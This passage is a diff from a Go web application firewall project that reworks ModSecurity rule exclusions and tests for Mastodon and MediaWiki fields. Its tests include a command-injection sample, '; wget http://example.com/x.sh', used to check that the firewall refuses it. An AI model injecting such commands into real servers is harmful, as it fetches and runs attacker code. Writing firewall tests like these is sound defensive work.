{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
||||||
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
||||||
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
||||||
|
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
||||||
|
{http.MethodPost, mastodonAccount, mastodonPassword},
|
||||||
|
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||||
|
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||||
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
||||||
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
||||||
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
||||||
@@ -142,18 +159,6 @@ var mastodonFormFields = []mastodonBodyField{
|
|||||||
{http.MethodPost, mastodonRoles, "user_role[name]="},
|
{http.MethodPost, mastodonRoles, "user_role[name]="},
|
||||||
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
|
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
|
||||||
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
|
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
|
||||||
{http.MethodPost, mastodonSignUp, "reason="},
|
|
||||||
}
|
|
||||||
|
|
||||||
// mastodonPasswordForms sends each password field in a form data body, on
|
|
||||||
// a path where it skips the four rules and the rules that random passwords
|
|
||||||
// set off.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var mastodonPasswordForms = []mastodonBodyField{
|
|
||||||
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
|
||||||
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
|
||||||
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
|
||||||
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
||||||
{
|
{
|
||||||
http.MethodPost, "/settings/migration/redirect",
|
http.MethodPost, "/settings/migration/redirect",
|
||||||
@@ -161,14 +166,7 @@ var mastodonPasswordForms = []mastodonBodyField{
|
|||||||
},
|
},
|
||||||
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
||||||
{http.MethodPost, mastodonSignUp, passwordField},
|
{http.MethodPost, mastodonSignUp, passwordField},
|
||||||
}
|
{http.MethodPost, mastodonSignUp, "reason="},
|
||||||
|
|
||||||
// mastodonPasswordJSON sends the password of signing up through the API in
|
|
||||||
// a JSON body, with %s for its value.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a struct cannot be a constant
|
|
||||||
var mastodonPasswordJSON = mastodonBodyField{
|
|
||||||
http.MethodPost, mastodonSignUp, `{"password":%s}`,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// mastodonJSONFields sends each field that skips the four rules in a JSON
|
// mastodonJSONFields sends each field that skips the four rules in a JSON
|
||||||
@@ -194,6 +192,7 @@ var mastodonJSONFields = []mastodonBodyField{
|
|||||||
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
||||||
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
||||||
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
||||||
|
{http.MethodPost, mastodonSignUp, `{"password":%s}`},
|
||||||
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
||||||
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
|
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
|
||||||
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
|
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
|
||||||
@@ -302,35 +301,6 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestMastodonPasswordsPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, sent := range mastodonPasswordForms {
|
|
||||||
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
r := request{sent.method, sent.target, []string{formData}}
|
|
||||||
name := strings.TrimSuffix(sent.field, "=")
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, r, name)
|
|
||||||
|
|
||||||
// No rule these fields keep catches the SQL injection or the path
|
|
||||||
// traversal.
|
|
||||||
wantPasswordAttacksRefused(t, r, name, scriptTag)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
t.Run("JSON", func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
|
|
||||||
[]string{jsonBody}}
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, r, "password")
|
|
||||||
wantPasswordAttacksRefused(t, r, "password", scriptTag)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -343,7 +313,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) {
|
for _, sent := range mastodonFormFields {
|
||||||
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
|
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
|
||||||
t.Errorf("%v let through", sent)
|
t.Errorf("%v let through", sent)
|
||||||
}
|
}
|
||||||
@@ -354,8 +324,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
|||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
|
|
||||||
passwordJSON := []mastodonBodyField{mastodonPasswordJSON}
|
for _, sent := range mastodonJSONFields {
|
||||||
for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
|
|
||||||
if mastodonJSON(t, sent, attack) < mastodonThreshold {
|
if mastodonJSON(t, sent, attack) < mastodonThreshold {
|
||||||
t.Errorf("%v let through", sent)
|
t.Errorf("%v let through", sent)
|
||||||
}
|
}
|
||||||
@@ -375,12 +344,6 @@ func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
t.Errorf("%s refused: %d", sent, score)
|
t.Errorf("%s refused: %d", sent, score)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range mastodonPasswordForms {
|
|
||||||
if mastodonForm(t, sent, value) >= mastodonThreshold {
|
|
||||||
t.Errorf("%v with %s refused", sent, value)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
code := url.QueryEscape(mastodonCodePost)
|
code := url.QueryEscape(mastodonCodePost)
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# The eleventh change: on MediaWiki's paths, some fields skip the rules that
|
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that
|
||||||
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
|
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
|
||||||
# sends a search, a title, a name, a file name, an address, a summary or a
|
# sends a search, a title, a name, a file name, an address, a summary or a
|
||||||
# reason, and the fields that hold wikitext. Each exclusion runs with the
|
# reason, and the fields that hold wikitext. Each exclusion runs with the
|
||||||
@@ -21,6 +21,13 @@
|
|||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3
|
# 932260: python3
|
||||||
|
|
||||||
|
# Unless SWW_APPS lists mediawiki for the request's hostname, every rule below
|
||||||
|
# is skipped. Inspect sets tx.app_mediawiki when it does.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_mediawiki itself.
|
||||||
|
SecRule &TX:app_mediawiki "@eq 0" \
|
||||||
|
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
|
||||||
|
|
||||||
# The pages and their titles, the searches, and the special pages' fields
|
# The pages and their titles, the searches, and the special pages' fields
|
||||||
# for a page, a user, a file or an address:
|
# for a page, a user, a file or an address:
|
||||||
# title: /index.php?title=Python3_notes&action=history
|
# title: /index.php?title=Python3_notes&action=history
|
||||||
@@ -108,86 +115,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
|
||||||
|
|
||||||
# wpPassword, lgpassword and password skip each rule random passwords set off.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|
||||||
"id:900917,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
|
||||||
SecRule &ARGS_GET:wpPassword "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
|
|
||||||
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
|
||||||
"id:900918,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:lgpassword|password)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password)$/"
|
|
||||||
|
|
||||||
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
|
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
|
||||||
# or prependtext, and the REST API in the JSON field source. Each of these
|
# or prependtext, and the REST API in the JSON field source. Each of these
|
||||||
# rules refused saving or previewing a page whose wikitext held a template, a
|
# rules refused saving or previewing a page whose wikitext held a template, a
|
||||||
@@ -278,10 +205,12 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
||||||
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
|
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
|
||||||
# once, since it would otherwise skip these rules for a second wpTitles
|
# once, since it would otherwise skip these rules for a second wpTitles
|
||||||
# holding a command.
|
# holding a command. It checks tx.app_mediawiki, since the skip above does not
|
||||||
|
# reach phase 2.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||||
"id:900916,phase:2,pass,nolog,chain"
|
"id:900916,phase:2,pass,nolog,chain"
|
||||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||||
|
SecRule &TX:app_mediawiki "@eq 1" "chain"
|
||||||
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
|
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
|
||||||
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
|
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
|
||||||
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
|
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
|
||||||
@@ -290,3 +219,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
|
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
|
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
|
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
|
||||||
|
|
||||||
|
SecMarker END_MEDIAWIKI
|
||||||
@@ -3,13 +3,17 @@ package coreruleset_test
|
|||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
"slices"
|
"slices"
|
||||||
"strings"
|
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const mediawikiThreshold = 5
|
const mediawikiThreshold = 5
|
||||||
|
|
||||||
|
// mediawiki is MediaWiki's name in SWW_APPS.
|
||||||
|
const mediawiki = "mediawiki"
|
||||||
|
|
||||||
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
||||||
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
||||||
|
|
||||||
@@ -46,13 +50,50 @@ const (
|
|||||||
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
|
wantRecordedRequestsPass(t, "mediawiki-requests.txt", mediawiki)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {mediawiki},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A search, which only MediaWiki's fixes let through.
|
||||||
|
search := get("/index.php?title=Special:Search&search=python3")
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := shared(t, coreruleset.Params{
|
||||||
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||||
|
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A watchlist that only the phase 2 rule 900916 lets through.
|
||||||
|
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
||||||
|
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
|
||||||
|
if got.Score >= mediawikiThreshold {
|
||||||
|
t.Errorf("POST %s %s on %s refused: %+v", r.target, body, otherHost, got)
|
||||||
|
}
|
||||||
|
|
||||||
|
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
|
||||||
|
if got.Score < mediawikiThreshold {
|
||||||
|
t.Errorf("POST %s %s on %s let through: %+v", r.target, body, giteaHost, got)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
||||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
||||||
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
|
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
||||||
// each in the query, on a path where it skips them, ending in "=".
|
// path where it skips them, ending in "=".
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var mediawikiQueryFields = []string{
|
var mediawikiQueryFields = []string{
|
||||||
@@ -137,9 +178,9 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
|||||||
type mediawikiBodyField struct{ target, field string }
|
type mediawikiBodyField struct{ target, field string }
|
||||||
|
|
||||||
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
||||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
||||||
// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
|
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
||||||
// each in a form data body, on a path where it skips them.
|
// a path where it skips them.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var mediawikiBodyFields = []mediawikiBodyField{
|
var mediawikiBodyFields = []mediawikiBodyField{
|
||||||
@@ -147,11 +188,13 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
|||||||
{mediawikiUpload, "wpUploadDescription="},
|
{mediawikiUpload, "wpUploadDescription="},
|
||||||
{mediawikiUpload, "wpDestFile="},
|
{mediawikiUpload, "wpDestFile="},
|
||||||
{mediawikiSignIn, "wpName="},
|
{mediawikiSignIn, "wpName="},
|
||||||
|
{mediawikiSignIn, "wpPassword="},
|
||||||
{mediawikiMove, "wpOldTitle="},
|
{mediawikiMove, "wpOldTitle="},
|
||||||
{mediawikiMove, "wpNewTitleMain="},
|
{mediawikiMove, "wpNewTitleMain="},
|
||||||
{mediawikiMove, "wpReason="},
|
{mediawikiMove, "wpReason="},
|
||||||
{mediawikiBlock, "wpTarget="},
|
{mediawikiBlock, "wpTarget="},
|
||||||
{mediawikiSignInPage, "wpName="},
|
{mediawikiSignInPage, "wpName="},
|
||||||
|
{"/w" + mediawikiSignInPage, "wpPassword="},
|
||||||
{mediawikiUploadPage, "wpDestFile="},
|
{mediawikiUploadPage, "wpDestFile="},
|
||||||
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
||||||
{mediawikiAPI, "title="},
|
{mediawikiAPI, "title="},
|
||||||
@@ -164,17 +207,8 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
|||||||
{mediawikiAPI, "reason="},
|
{mediawikiAPI, "reason="},
|
||||||
{mediawikiAPI, "user="},
|
{mediawikiAPI, "user="},
|
||||||
{mediawikiAPI, "lgname="},
|
{mediawikiAPI, "lgname="},
|
||||||
{mediawikiAPI, "username="},
|
|
||||||
}
|
|
||||||
|
|
||||||
// mediawikiPasswordFields are the passwords, which skip the four rules and the
|
|
||||||
// rules that random passwords set off. mediawikiPasswordFields sends each in a
|
|
||||||
// form data body, on a path where it skips them.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var mediawikiPasswordFields = []mediawikiBodyField{
|
|
||||||
{mediawikiSignIn, "wpPassword="},
|
|
||||||
{mediawikiAPI, "lgpassword="},
|
{mediawikiAPI, "lgpassword="},
|
||||||
|
{mediawikiAPI, "username="},
|
||||||
{mediawikiAPI, passwordField},
|
{mediawikiAPI, passwordField},
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -241,25 +275,6 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestMediaWikiPasswordsPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, sent := range mediawikiPasswordFields {
|
|
||||||
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
||||||
name := strings.TrimSuffix(sent.field, "=")
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, r, name)
|
|
||||||
|
|
||||||
// No rule these fields keep catches the SQL injection or the path
|
|
||||||
// traversal.
|
|
||||||
wantPasswordAttacksRefused(t, r, name, scriptTag)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
||||||
// fields that skip the other command rules, as a query value.
|
// fields that skip the other command rules, as a query value.
|
||||||
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||||
@@ -280,8 +295,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
|
|
||||||
crs = readingBodies(t)
|
crs = readingBodies(t)
|
||||||
|
|
||||||
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
|
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
|
||||||
mediawikiPasswordFields) {
|
|
||||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
||||||
@@ -339,8 +353,8 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
|
||||||
mediawikiPasswordFields)
|
mediawikiWikitextFields...)
|
||||||
|
|
||||||
for _, sent := range fields {
|
for _, sent := range fields {
|
||||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
